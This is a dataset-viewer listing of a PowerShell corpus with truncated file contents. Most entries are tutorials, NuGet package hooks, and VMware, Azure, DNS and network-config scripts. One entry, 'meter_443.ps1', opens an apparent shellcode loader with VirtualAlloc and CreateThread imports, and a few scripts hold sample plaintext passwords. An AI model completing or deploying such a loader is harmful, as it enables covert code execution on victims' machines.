full_path
stringlengths
31
232
filename
stringlengths
4
167
content
stringlengths
0
48.3M
PowerShellCorpus/Github/netzoft_PowerShell/Examples/2/Mod2/6Switch.ps1
6Switch.ps1
# Switch can be easier to maintain than If statement #and can provide additional features Switch ($status) { 0 { $status_text = 'ok' } 1 { $status_text = 'error' } 2 { $status_text = 'jammed' } 3 { $status_text = 'overheated' } 4 { $status_text = 'empty' } default { $status_text = 'unknown' } } ...
PowerShellCorpus/Github/netzoft_PowerShell/Examples/2/Mod2/4Parenthesis.ps1
4Parenthesis.ps1
# Parenthesis help! #Create a txt and csv file 'DC','Client' | Out-file c:\computers.txt "ComputerName,IPAddress" | Out-file c:\Computers.csv "DC,192.168.3.10" | Out-file c:\Computers.csv -Append "Client,192.168.3.100" | Out-File c:\Computers.csv -Append #Getting names from a txt file Get-Service -ComputerNa...
PowerShellCorpus/Github/netzoft_PowerShell/Examples/2/Mod2/5If.ps1
5If.ps1
If ($this -eq $that) { # commands } elseif ($those -ne $them) { # commands } elseif ($we -gt $they) { # commands } else { # commands } $Status=(Get-service -name bits).status If ($Status -eq "Running") { Clear-Host Write-Output "Service is being stopped" Stop-Service -name bits } Els...
PowerShellCorpus/Github/netzoft_PowerShell/Examples/2/Mod2/2Quotes.ps1
2Quotes.ps1
#Quotation Markes #Double quotes resolve the variable $i="PowerShell" "This is the variable $i, and $i Rocks!" 'This is the variable $i, and $i Rocks!' "This is the variable `$i, and $i Rocks!" $computerName="Client" Get-service -name bits -ComputerName "$ComputerName" | Select MachineName, Name, Sta...
PowerShellCorpus/Github/netzoft_PowerShell/Examples/2/Mod2/7Do_While.ps1
7Do_While.ps1
# Do loop $i= 1 Do { Write-Output "PowerShell is Great! $i" $i=$i+1 # $i++ } While ($i -le 5) #Also Do-Until # While Loop $i=5 While ($i -ge 1) { Write-Output "Scripting is great! $i" $i-- }
PowerShellCorpus/Github/netzoft_PowerShell/Examples/2/Mod2/_Startup.ps1
_Startup.ps1
ise -file ".\1Var.ps1, .\2Quotes.ps1, .\3ObjectMembers.ps1, .\4Parenthesis.ps1, .\5If.ps1, .\6Switch.ps1, .\7Do_While.ps1, .\8For_Foreach.ps1"
PowerShellCorpus/Github/netzoft_PowerShell/Examples/2/Mod2/1Var.ps1
1Var.ps1
#Variables to store your stuff #Assigning a variable $MyVar=2 ${My Var}="Hello" #Output a variable $MyVar ${My Var} Write-Output $MyVar #Strongly type a variable [String]$MyName="Jason" [int]$Oops="Jason" [string]$ComputerName=Read-host "Enter Computer Name" Write-Output $ComputerName
PowerShellCorpus/Github/netzoft_PowerShell/Examples/2/Mod6/1PlacingHelp.ps1
1PlacingHelp.ps1
<# .Synopsis This is the short description #> Function Get-TestHelp{ [CmdletBinding()] param() Begin{} Process{} End{} }
PowerShellCorpus/Github/netzoft_PowerShell/Examples/2/Mod6/2CommentbasedHelp.ps1
2CommentbasedHelp.ps1
<# .Synopsis This function will gather basic computer information .Description This function will gather basic computer information From multiple computers and provide error logging information .Parameter ComputerName This parameter supports multiple computer names to gather Data from. This parameter is Mandato...
PowerShellCorpus/Github/netzoft_PowerShell/Examples/2/Mod6/_Startup.ps1
_Startup.ps1
ise -file ".\1PlacingHelp.ps1, .\2CommentbasedHelp.ps1"
PowerShellCorpus/Github/netzoft_PowerShell/Examples/2/Mod9/MyTools.ps1
MyTools.ps1
<# .Synopsis This function will gather basic computer information .Description This function will gather basic computer information From multiple computers and provide error logging information .Parameter ComputerName This parameter supports multiple computer names to gather Data from. This parameter is Mandato...
PowerShellCorpus/Github/netzoft_PowerShell/Examples/2/Mod9/Manifest.ps1
Manifest.ps1
New-ModuleManifest -Path 'C:\Users\student.COMPANY\Documents\WindowsPowerShell\Modules\MyTools\MyTools.psd1' ` -Author Jason -CompanyName MyCompany -Copyright '(c)2013 JumpStart' ` -ModuleVersion 1.0 -Description 'The JumpStart module' ` -PowerShellVersion 3.0 -RootModule .\MyTools.psm1
PowerShellCorpus/Github/netzoft_PowerShell/Examples/2/Mod9/WithView.ps1
WithView.ps1
<# .Synopsis This function will gather basic computer information .Description This function will gather basic computer information From multiple computers and provide error logging information .Parameter ComputerName This parameter supports multiple computer names to gather Data from. This parameter is Mandato...
PowerShellCorpus/Github/netzoft_PowerShell/Examples/2/Mod9/Launch.ps1
Launch.ps1
#Importing module from current location Import-Module C:\scripts\mod9\MyTools.psm1 # Listing the commands Get-Command -Module MyTools #Remove module and re-import during testing Remove-Module MyTools;Import-Module C:\scripts\mo93\DiskInfo.psm1 #Putting the module in its proper place $Path=$env:PSModulePa...
PowerShellCorpus/Github/netzoft_PowerShell/Examples/2/Mod9/_Startup.ps1
_Startup.ps1
ise -file ".\MyTools.ps1, .\Launch.ps1, .\Manifest.ps1, .\WithView.ps1, .\MAnifestview.ps1"
PowerShellCorpus/Github/netzoft_PowerShell/Examples/2/Mod9/Manifestview.ps1
Manifestview.ps1
New-ModuleManifest -Path 'C:\Users\student.COMPANY\Documents\WindowsPowerShell\Modules\MyTools\MyTools.psd1' ` -Author Jason -CompanyName MyCompany -Copyright '(c)2013 JumpStart' ` -ModuleVersion 1.0 -Description 'The JumpStart module' ` -PowerShellVersion 3.0 -RootModule .\MyTools.psm1 -FormatsToProcess .\JasonType...
PowerShellCorpus/Github/netzoft_PowerShell/Examples/2/Mod8/2SetVolName.ps1
2SetVolName.ps1
function Set-VolLabel { [CmdletBinding(SupportsShouldProcess=$true, ConfirmImpact='Medium')] Param ( [Parameter(Mandatory=$True)] [String]$ComputerName, [Parameter(Mandatory=$True)] [String]$Label ) Process { if ($pscmdlet.ShouldProcess("$Compu...
PowerShellCorpus/Github/netzoft_PowerShell/Examples/2/Mod8/1SimpleExample.ps1
1SimpleExample.ps1
Function set-stuff{ [cmdletbinding(SupportsShouldProcess=$true, confirmImpact='Medium')] param( [Parameter(Mandatory=$True)] [string]$computername ) Process{ If ($psCmdlet.shouldProcess("$Computername")){ Write-Output 'Im changing...
PowerShellCorpus/Github/netzoft_PowerShell/Examples/2/Mod8/Launch.ps1
Launch.ps1
#Importing module from current location Import-Module C:\scripts\mod3\DiskInfo.psm1 #Remove module and re-import during testing Remove-Module Diskinfo;Import-Module C:\scripts\mod3\DiskInfo.psm1 #Putting the module in its proper place $Path=$env:PSModulePath -split ";" $Path[0] $ModulePath=$Path[0] + "\...
PowerShellCorpus/Github/netzoft_PowerShell/Examples/2/Mod8/_Startup.ps1
_Startup.ps1
ise -file ".\1SimpleExample.ps1, .\2SetVolName.ps1"
PowerShellCorpus/Github/micahgaither_VMware/cluster_ssh_timeout.ps1
cluster_ssh_timeout.ps1
$vcserver = "#vcenter#" Add-PSsnapin VMware.VimAutomation.Core Connect-VIServer $vcserver Get-Cluster "#cluster#" | Get-VMHost | Get-AdvancedSetting -Name 'UserVars.ESXiShellInteractiveTimeOut' | Set-AdvancedSetting -Value "0" -Confirm:$false Get-Cluster "#cluster#" | Get-VMHost | Get-AdvancedSetting -Name 'UserVar...
PowerShellCorpus/Github/micahgaither_VMware/cluster_ssh_start.ps1
cluster_ssh_start.ps1
$vcserver = "#vcenter#" Add-PSsnapin VMware.VimAutomation.Core Get-Cluster "#cluster#" | Get-VMHost | Foreach { Start-VMHostService -HostService ($_ | Get-VMHostService | Where { $_.Key -eq "TSM-SSH"} ) }
PowerShellCorpus/Github/micahgaither_VMware/vm_inventory_excel.ps1
vm_inventory_excel.ps1
############################################### #Connecting to ESX Server ############################################### add-pssnapin vm* Connect-VIServer "##vcenter##" -user "##user###" -password "##password##" ############################################### # Identify Excel Workbook and Work Sheet ##########...
PowerShellCorpus/Github/micahgaither_VMware/cluster_ssh_status.ps1
cluster_ssh_status.ps1
$vcserver = "#vcenter#" Add-PSsnapin VMware.VimAutomation.Core Connect-VIServer $vcserver Get-Cluster "#cluster#" | Get-VMHost | Get-VMHostService | Where { $_.Key -eq "TSM-SSH" } |select VMHost, Label, Running
PowerShellCorpus/Github/ajdinaliu_chocotemplates/chocolatey.powershell/tools/__NAME__.ps1
__NAME__.ps1
PowerShellCorpus/Github/ajdinaliu_chocotemplates/chocolatey.powershell/tools/chocolateyInstall.ps1
chocolateyInstall.ps1
#$tools = "$(Split-Path -parent $MyInvocation.MyCommand.Definition)" #. (Join-Path $tools PSCollectServerInfo.ps1) $env:computername $psFile = Join-Path "$(Split-Path -parent $MyInvocation.MyCommand.Definition)" '__NAME__.ps1' #$psArgs = $env:computername Start-ChocolateyProcessAsAdmin "& `'$psFile`'"
PowerShellCorpus/Github/ajdinaliu_chocotemplates/chocolatey/tools/chocolateyInstall.ps1
chocolateyInstall.ps1
#NOTE: Please remove any commented lines to tidy up prior to releasing the package, including this one $packageName = '__NAME__' # arbitrary name for the package, used in messages $installerType = 'EXE_MSI_OR_MSU' #only one of these: exe, msi, msu $url = 'URL_HERE' # download url $url64 = 'URL_x64_HERE' # 64bit U...
PowerShellCorpus/Github/heavenlw_Awol/凶屋地图/packages/jQuery.1.10.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Determine the file paths $projectIntelliSenseFilePath = Join-Path $projectScriptsFolderPath $intelliSenseFileName $origIntelliSenseFilePath = Join-Path $toolsPath $intelliSenseFileName if (Test-Path $projectIntelliSense...
PowerShellCorpus/Github/heavenlw_Awol/凶屋地图/packages/jQuery.1.10.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # VS 11 and above supports the new intellisense JS files $vsVersion = [System.Version]::Parse($dte.Version) $supportsJsIntelliSenseFile = $vsVersion.Major -ge 11 if (-not $supportsJsIntelliSenseFile) { $displayVersio...
PowerShellCorpus/Github/heavenlw_Awol/凶屋地图/packages/jQuery.1.10.2/Tools/common.ps1
common.ps1
function Get-Checksum($file) { $cryptoProvider = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider" $fileInfo = Get-Item $file trap { ; continue } $stream = $fileInfo.OpenRead() if ($? -eq $false) { # Couldn't open file for reading return $null } $bytes = $...
PowerShellCorpus/Github/heavenlw_Awol/凶屋地图/packages/Modernizr.2.6.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Update the _references.js file Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx
PowerShellCorpus/Github/heavenlw_Awol/凶屋地图/packages/Modernizr.2.6.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) if ($scriptsFolderProjectItem -eq $null) { # No Scripts folder Write-Host "No Scripts folder found" exit } # Update the _references.js file AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileName...
PowerShellCorpus/Github/heavenlw_Awol/凶屋地图/packages/Modernizr.2.6.2/Tools/common.ps1
common.ps1
function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) { try { $referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js") } catch { # _references.js file not found return } if ($referencesFileProject...
PowerShellCorpus/Github/heavenlw_Awol/凶屋地图/packages/EntityFramework.6.1.3/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) if (Get-Module | ?{ $_.Name -eq 'EntityFramework' }) { Remove-Module EntityFramework } Import-Module (Join-Path $toolsPath EntityFramework.psd1) # SIG # Begin signature block # MIIa4AYJKoZIhvcNAQcCoIIa0TCCGs0CAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB # gjcCAQ...
PowerShellCorpus/Github/heavenlw_Awol/凶屋地图/packages/EntityFramework.6.1.3/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) Initialize-EFConfiguration $project Add-EFProvider $project 'System.Data.SqlClient' 'System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer' Write-Host Write-Host "Type 'get-help EntityFramework' to see all available Entity Framework comma...
PowerShellCorpus/Github/heavenlw_Awol/凶屋地图/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.0/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) $compilerPackageName = 'Microsoft.Net.Compilers' $roslynSubFolder = 'roslyn' if ($project -eq $null) { $project = Get-Project } $libDirectory = Join-Path $installPath 'lib\net45' $packageDirectory = Split-Path $installPath $compilerPackage = Get-Chil...
PowerShellCorpus/Github/heavenlw_Awol/凶屋地图/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.0/tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) $roslynSubFolder = 'roslyn' if ($project -eq $null) { $project = Get-Project } $projectRoot = $project.Properties.Item('FullPath').Value $binDirectory = Join-Path $projectRoot 'bin' $targetDirectory = Join-Path $binDirectory $roslynSubFolder if (Te...
PowerShellCorpus/Github/heavenlw_Awol/凶屋地图/packages/Newtonsoft.Json.6.0.4/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) # open json.net splash page on package install # don't open if json.net is installed as a dependency try { $url = "http://james.newtonking.com/json" $dte2 = Get-Interface $dte ([EnvDTE80.DTE2]) if ($dte2.ActiveWindow.Caption -eq "Package Manager Con...
PowerShellCorpus/Github/heavenlw_Awol/iphone_Booking/packages/Microsoft.Web.WebJobs.Publish.1.0.4/tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) Add-Type -AssemblyName 'Microsoft.Build, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' $msbuild = [Microsoft.Build.Evaluation.ProjectCollection]::GlobalProjectCollection.GetLoadedProjects($project.FullName) | Select-Object -First 1 ...
PowerShellCorpus/Github/heavenlw_Awol/iphone_Booking/packages/Microsoft.Web.WebJobs.Publish.1.0.4/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) $targetsFile = [System.IO.Path]::Combine($toolsPath, 'webjobs.targets') Add-Type -AssemblyName 'Microsoft.Build, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a' $msbuild = [Microsoft.Build.Evaluation.ProjectCollection]::GlobalProje...
PowerShellCorpus/Github/fragranse_PowerShell-Learn/hello-powershell.ps1
hello-powershell.ps1
echo Hello PowerShell echo Hello,PowerShell echo 'Hello,PowerShell' pause
PowerShellCorpus/Github/hsouth95_PowershellScripts/BackupRunner/cloud-backup.ps1
cloud-backup.ps1
test
PowerShellCorpus/Github/hsouth95_PowershellScripts/BackupRunner/backup.ps1
backup.ps1
$backupPath = "D:\My Backups\Scheduled\" $backupList = "D:\Code\PowershellScripts\BackupRunner\backup-list.txt" $logsPath = "D:\Code\PowershellScripts\BackupRunner\logs.txt" $startDate = Get-Date import-csv $backupList | ForEach-Object { Copy-item -Path $_.Source -Destination $backupPath -Recurse -Force } $e...
PowerShellCorpus/Github/hsouth95_PowershellScripts/RedditAPI/gettopposts.ps1
gettopposts.ps1
$response = Invoke-RestMethod "https://reddit.com/r/aww/top.json?limit=3" $output = "C:\Users\hsouth95\OneDrive\Reddit" New-Item -Path $output -Name "redditlinks.txt" -Force Set-Location $output foreach($post in $response.data.children) { Add-Content -Path "redditlinks.txt" -Value $post.data.url }
PowerShellCorpus/Github/hsouth95_PowershellScripts/MusicMongo/music-scraper.ps1
music-scraper.ps1
Set-Location "D:\Media\Music" $songs = @(); Get-ChildItem -File -Recurse -Include "*.mp3" | ForEach-Object { $song = @{ name = $_.BaseName path = $_.DirectoryName type = $_.Extension } $songs += $song; } New-Item music.json -Force -Value (ConvertTo-JSON $songs) (Get-Cont...
PowerShellCorpus/Github/SwiftSolves_PowerShell-Scripts/AzureEASubReporting.ps1
AzureEASubReporting.ps1
## Script is used to query https://consumption.azure.com/v1/enrollments/{enrollmentID}/usagedetails ## Script reaches out and returns active consumption for the current month and pushes a table for enterprise knowledge purposes and future configuration of Subs ## Can be used in subscription sprawl enviroments to se...
PowerShellCorpus/Github/SwiftSolves_PowerShell-Scripts/SetCompanyASCPolicy.ps1
SetCompanyASCPolicy.ps1
# See https://github.com/Javanite/Azure-Security-Center for PS Module being used in script. #Set Global ASC Policy Decisions $secemail = "security@customdomain.com,user@customdomain.com" $secphone = "1112223333" $secnotify = "true" $ownernotify = "true" $datacollect = "on" #Download file and place in C:\Te...
PowerShellCorpus/Github/SwiftSolves_PowerShell-Scripts/SampleExportPolicies.ps1
SampleExportPolicies.ps1
# Link: https://docs.microsoft.com/en-us/powershell/resourcemanager/azurerm.apimanagement/v3.2.0/get-azurermapimanagementpolicy # https://docs.microsoft.com/en-us/powershell/resourcemanager/azurerm.apimanagement/v3.3.0/set-azurermapimanagementpolicy #Obtain API Context $ApiMgmtContext = New-AzureRmApiManagementC...
PowerShellCorpus/Github/SwiftSolves_PowerShell-Scripts/RotateKeys_v2.ps1
RotateKeys_v2.ps1
<# .DESCRIPTION Runbook Rotates Storages Keys in Azure and stores them in keyvault .NOTES AUTHOR: Azure Automation Team LASTEDIT: Mar 14, 2016 #> $connectionName = "AzureRunAsConnection" try { # Get the connection "AzureRunAsConnection " $servicePrincipalConnection...
PowerShellCorpus/Github/SwiftSolves_PowerShell-Scripts/SampleExportAllAPIs.ps1
SampleExportAllAPIs.ps1
$ApiMgmtContext = New-AzureRmApiManagementContext -ResourceGroupName "rgSWIDMEOAPImgmt" -ServiceName "apiservicegt6wqoby66zhk" $APIs = Get-AzureRmApiManagementApi -Context $ApiMgmtContext foreach ($API in $APIs) { $wadlpath = "C:\APIs\specifications\" + $API.Name + ".wadl" Export-AzureRmApiManagementApi -...
PowerShellCorpus/Github/chakhrits_psuparkingadmin/Parkingup2you/packages/jQuery.1.10.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Determine the file paths $projectIntelliSenseFilePath = Join-Path $projectScriptsFolderPath $intelliSenseFileName $origIntelliSenseFilePath = Join-Path $toolsPath $intelliSenseFileName if (Test-Path $projectIntelliSense...
PowerShellCorpus/Github/chakhrits_psuparkingadmin/Parkingup2you/packages/jQuery.1.10.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # VS 11 and above supports the new intellisense JS files $vsVersion = [System.Version]::Parse($dte.Version) $supportsJsIntelliSenseFile = $vsVersion.Major -ge 11 if (-not $supportsJsIntelliSenseFile) { $displayVersio...
PowerShellCorpus/Github/chakhrits_psuparkingadmin/Parkingup2you/packages/jQuery.1.10.2/Tools/common.ps1
common.ps1
function Get-Checksum($file) { $cryptoProvider = New-Object "System.Security.Cryptography.MD5CryptoServiceProvider" $fileInfo = Get-Item $file trap { ; continue } $stream = $fileInfo.OpenRead() if ($? -eq $false) { # Couldn't open file for reading return $null } $bytes = $...
PowerShellCorpus/Github/chakhrits_psuparkingadmin/Parkingup2you/packages/Modernizr.2.6.2/Tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) # Update the _references.js file Remove-Reference $scriptsFolderProjectItem $modernizrFileNameRegEx
PowerShellCorpus/Github/chakhrits_psuparkingadmin/Parkingup2you/packages/Modernizr.2.6.2/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) . (Join-Path $toolsPath common.ps1) if ($scriptsFolderProjectItem -eq $null) { # No Scripts folder Write-Host "No Scripts folder found" exit } # Update the _references.js file AddOrUpdate-Reference $scriptsFolderProjectItem $modernizrFileName...
PowerShellCorpus/Github/chakhrits_psuparkingadmin/Parkingup2you/packages/Modernizr.2.6.2/Tools/common.ps1
common.ps1
function AddOrUpdate-Reference($scriptsFolderProjectItem, $fileNamePattern, $newFileName) { try { $referencesFileProjectItem = $scriptsFolderProjectItem.ProjectItems.Item("_references.js") } catch { # _references.js file not found return } if ($referencesFileProject...
PowerShellCorpus/Github/chakhrits_psuparkingadmin/Parkingup2you/packages/Microsoft.ApplicationInsights.WindowsServer.2.2.0/Tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) if ([System.IO.File]::Exists($project.FullName)) { function MarkItemASCopyToOutput($item) { Try { #mark it to copy if newer $item.Properties.Item("CopyToOutputDirectory").Value = 2 } Catch { write-host $_.Exception.ToString() }...
PowerShellCorpus/Github/chakhrits_psuparkingadmin/Parkingup2you/packages/EntityFramework.6.1.3/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) if (Get-Module | ?{ $_.Name -eq 'EntityFramework' }) { Remove-Module EntityFramework } Import-Module (Join-Path $toolsPath EntityFramework.psd1) # SIG # Begin signature block # MIIa4AYJKoZIhvcNAQcCoIIa0TCCGs0CAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB # gjcCAQ...
PowerShellCorpus/Github/chakhrits_psuparkingadmin/Parkingup2you/packages/EntityFramework.6.1.3/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) Initialize-EFConfiguration $project Add-EFProvider $project 'System.Data.SqlClient' 'System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer' Write-Host Write-Host "Type 'get-help EntityFramework' to see all available Entity Framework comma...
PowerShellCorpus/Github/chakhrits_psuparkingadmin/Parkingup2you/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.0/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) $compilerPackageName = 'Microsoft.Net.Compilers' $roslynSubFolder = 'roslyn' if ($project -eq $null) { $project = Get-Project } $libDirectory = Join-Path $installPath 'lib\net45' $packageDirectory = Split-Path $installPath $compilerPackage = Get-Chil...
PowerShellCorpus/Github/chakhrits_psuparkingadmin/Parkingup2you/packages/Microsoft.CodeDom.Providers.DotNetCompilerPlatform.1.0.0/tools/uninstall.ps1
uninstall.ps1
param($installPath, $toolsPath, $package, $project) $roslynSubFolder = 'roslyn' if ($project -eq $null) { $project = Get-Project } $projectRoot = $project.Properties.Item('FullPath').Value $binDirectory = Join-Path $projectRoot 'bin' $targetDirectory = Join-Path $binDirectory $roslynSubFolder if (Te...
PowerShellCorpus/Github/chakhrits_psuparkingadmin/Parkingup2you/packages/Newtonsoft.Json.6.0.4/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) # open json.net splash page on package install # don't open if json.net is installed as a dependency try { $url = "http://james.newtonking.com/json" $dte2 = Get-Interface $dte ([EnvDTE80.DTE2]) if ($dte2.ActiveWindow.Caption -eq "Package Manager Con...
PowerShellCorpus/Github/LockstepGroup_AlcatelParser/buildmodule.ps1
buildmodule.ps1
[CmdletBinding()] Param ( [Parameter(Mandatory=$False,Position=0)] [switch]$PushToStrap ) function ZipFiles { [CmdletBinding()] Param ( [Parameter(Mandatory=$True,Position=0)] [string]$ZipFilePath, [Parameter(ParameterSetName="Directory",Mandatory=$True,Position=1)] [s...
PowerShellCorpus/Github/LockstepGroup_AlcatelParser/src/cmdlets/Get-AlSystemName.ps1
Get-AlSystemName.ps1
function Get-AlSystemName { [CmdletBinding()] <# .SYNOPSIS Gets Vlan Info from Alcatel Switch Configuration #> Param ( [Parameter(Mandatory=$True,Position=0)] [array]$Configuration ) $VerbosePrefix = "Get-AlSystemName: " $IpRx = [regex] "(\d+\.){3}\d+" $TotalLin...
PowerShellCorpus/Github/LockstepGroup_AlcatelParser/src/cmdlets/Get-AlInterface.ps1
Get-AlInterface.ps1
function Get-AlInterface { [CmdletBinding()] <# .SYNOPSIS Gets Vlan Info from Alcatel Switch Configuration #> Param ( [Parameter(Mandatory=$True,Position=0)] [array]$Configuration ) $VerbosePrefix = "Get-AlInterface: " $IpRx = [regex] "(\d+\.){3}\d+" $TotalLines...
PowerShellCorpus/Github/LockstepGroup_AlcatelParser/src/cmdlets/Get-AlVlan.ps1
Get-AlVlan.ps1
function Get-AlVlan { [CmdletBinding()] <# .SYNOPSIS Gets Vlan Info from Alcatel Switch Configuration #> Param ( [Parameter(Mandatory=$True,Position=0)] [array]$Configuration ) $VerbosePrefix = "Get-AlVlan: " $TotalLines = $Configuration.Count $i = 0 $S...
PowerShellCorpus/Github/LockstepGroup_AlcatelParser/src/cmdlets/Resolve-AlPortString.ps1
Resolve-AlPortString.ps1
function Resolve-AlPortString { [CmdletBinding()] <# .SYNOPSIS Resolves an Alcatel PortString to an array of individual ports. #> Param ( [Parameter(Mandatory=$True,Position=0)] [string]$PortString ) $VerbosePrefix = "Resolve-AlPortString: " $ReturnObject = @() ...
PowerShellCorpus/Github/LockstepGroup_AlcatelParser/src/cmdlets/Get-AlRouterId.ps1
Get-AlRouterId.ps1
function Get-AlRouterId { [CmdletBinding()] <# .SYNOPSIS Gets Vlan Info from Alcatel Switch Configuration #> Param ( [Parameter(Mandatory=$True,Position=0)] [array]$Configuration ) $VerbosePrefix = "Get-AlRouterId: " $IpRx = [regex] "(\d+\.){3}\d+" $TotalLines =...
PowerShellCorpus/Github/LockstepGroup_AlcatelParser/src/helpers/HelperCheckForObject.ps1
HelperCheckForObject.ps1
function HelperCheckForObject { [CmdletBinding()] Param ( [Parameter(Mandatory=$True,Position=0)] [string]$ObjectName, [Parameter(Mandatory=$True,Position=1)] [string]$ObjectType ) $VerbosePrefix = "HelperCheckForObject: " try { $Check = Get-Variable -Name $Obj...
PowerShellCorpus/Github/LockstepGroup_AlcatelParser/src/helpers/HelperEvalRegex.ps1
HelperEvalRegex.ps1
function HelperEvalRegex { [CmdletBinding()] Param ( [Parameter(Mandatory=$True,Position=0,ParameterSetName='RxString')] [String]$RegexString, [Parameter(Mandatory=$True,Position=0,ParameterSetName='Rx')] [regex]$Regex, [Parameter(Mandatory=$True,Position=1)] [string]$StringToEval, ...
PowerShellCorpus/Github/LockstepGroup_AlcatelParser/src/helpers/HelperTestVerbose.ps1
HelperTestVerbose.ps1
function HelperTestVerbose { [CmdletBinding()] param() [System.Management.Automation.ActionPreference]::SilentlyContinue -ne $VerbosePreference }
PowerShellCorpus/Github/LockstepGroup_AlcatelParser/src/helpers/HelperCloneCustomType.ps1
HelperCloneCustomType.ps1
function HelperCloneCustomType { [CmdletBinding()] Param ( [Parameter(Mandatory=$True,Position=0)] [object]$Object, [Parameter(Mandatory=$False,Position=1)] [array]$AddProperties ) $VerbosePrefix = "HelperCloneCustomType: " $Type = $Object.GetType().FullName $Properties = $Ob...
PowerShellCorpus/Github/LockstepGroup_AlcatelParser/src/helpers/HelperDetectClassful.ps1
HelperDetectClassful.ps1
function HelperDetectClassful { [CmdletBinding()] Param ( [Parameter(Mandatory=$True,Position=0,ParameterSetName='RxString')] [ValidatePattern("(\d+\.){3}\d+")] [String]$IpAddress ) $VerbosePrefix = "HelperDetectClassful: " $Regex = [regex] "(?x) (?<first>\d+)\. (?<second>\d+)\....
PowerShellCorpus/Github/LockstepGroup_AlcatelParser/scripts/PortToVlan.ps1
PortToVlan.ps1
[CmdletBinding()] Param ( [Parameter(Mandatory=$False,Position=0)] [ValidateScript({Test-Path $_})] [string]$ConfigFile ) try { ipmo AlcatelParser -ErrorAction Stop } catch { Throw "AlcatelParser Module not found" } $Config = gc $ConfigFile $Vlans = Get-AlVlan $Config $VlanIds ...
PowerShellCorpus/Github/Havivw_cloudify-windows-dns-blueprint/Windows-Blueprint-DNS/config.ps1
config.ps1
<# this script configunre dns server and test him but not install him #> $ErrorActionPreference = "Stop" <# Import environment variables #> $dns_server_ip = $env:dns_server_ip $Zone = $env:zone_name $A_name = $env:a_record_name $A_ip = $env:a_record_ip $DNS_Forward = $env:dns_forward $DNS_Forward_2 =...
PowerShellCorpus/Github/Havivw_cloudify-windows-dns-blueprint/Windows-Blueprint-DNS/install.ps1
install.ps1
<# this script INSTALL the dns server #> $ErrorActionPreference = "Stop" <# Import environment variables #> $IP = $env:local_ip $MaskBits = $env:mask_bits $Gateway = $env:gateway $Dns = $env:dns $IPType = $env:ip_type <# set the network configuration #> $adapter = Get-NetAdapter | ? {$_.Status -eq "...
PowerShellCorpus/Github/discoking_factbot/meter_443.ps1
meter_443.ps1
$ZbuqSRdBh = @" [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uin...
PowerShellCorpus/Github/AlexandreStephany_TCGProject/TcgTournament/packages/EntityFramework.6.1.3/tools/init.ps1
init.ps1
param($installPath, $toolsPath, $package, $project) if (Get-Module | ?{ $_.Name -eq 'EntityFramework' }) { Remove-Module EntityFramework } Import-Module (Join-Path $toolsPath EntityFramework.psd1) # SIG # Begin signature block # MIIa4AYJKoZIhvcNAQcCoIIa0TCCGs0CAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB # gjcCAQ...
PowerShellCorpus/Github/AlexandreStephany_TCGProject/TcgTournament/packages/EntityFramework.6.1.3/tools/install.ps1
install.ps1
param($installPath, $toolsPath, $package, $project) Initialize-EFConfiguration $project Add-EFProvider $project 'System.Data.SqlClient' 'System.Data.Entity.SqlServer.SqlProviderServices, EntityFramework.SqlServer' Write-Host Write-Host "Type 'get-help EntityFramework' to see all available Entity Framework comma...
PowerShellCorpus/Github/uneidel_Azure_AD_DSC/CreateVM_AD.ps1
CreateVM_AD.ps1
param ( $rgname ="MoreSmaple", $location = "West Europe", $subnetName="Subnet1", $storageAccountName="99912storage", $fullPathToDSC, $compName="myvm1", $primaryadm="uneidel", $primaryadmpwd="Passw0rd!", $backupadm="notuneidel", $backupadmpwd="Passw0rd!", $vipName="faaf...
PowerShellCorpus/Github/uneidel_Azure_AD_DSC/DSC/ActiveDirectoryInstall.ps1
ActiveDirectoryInstall.ps1
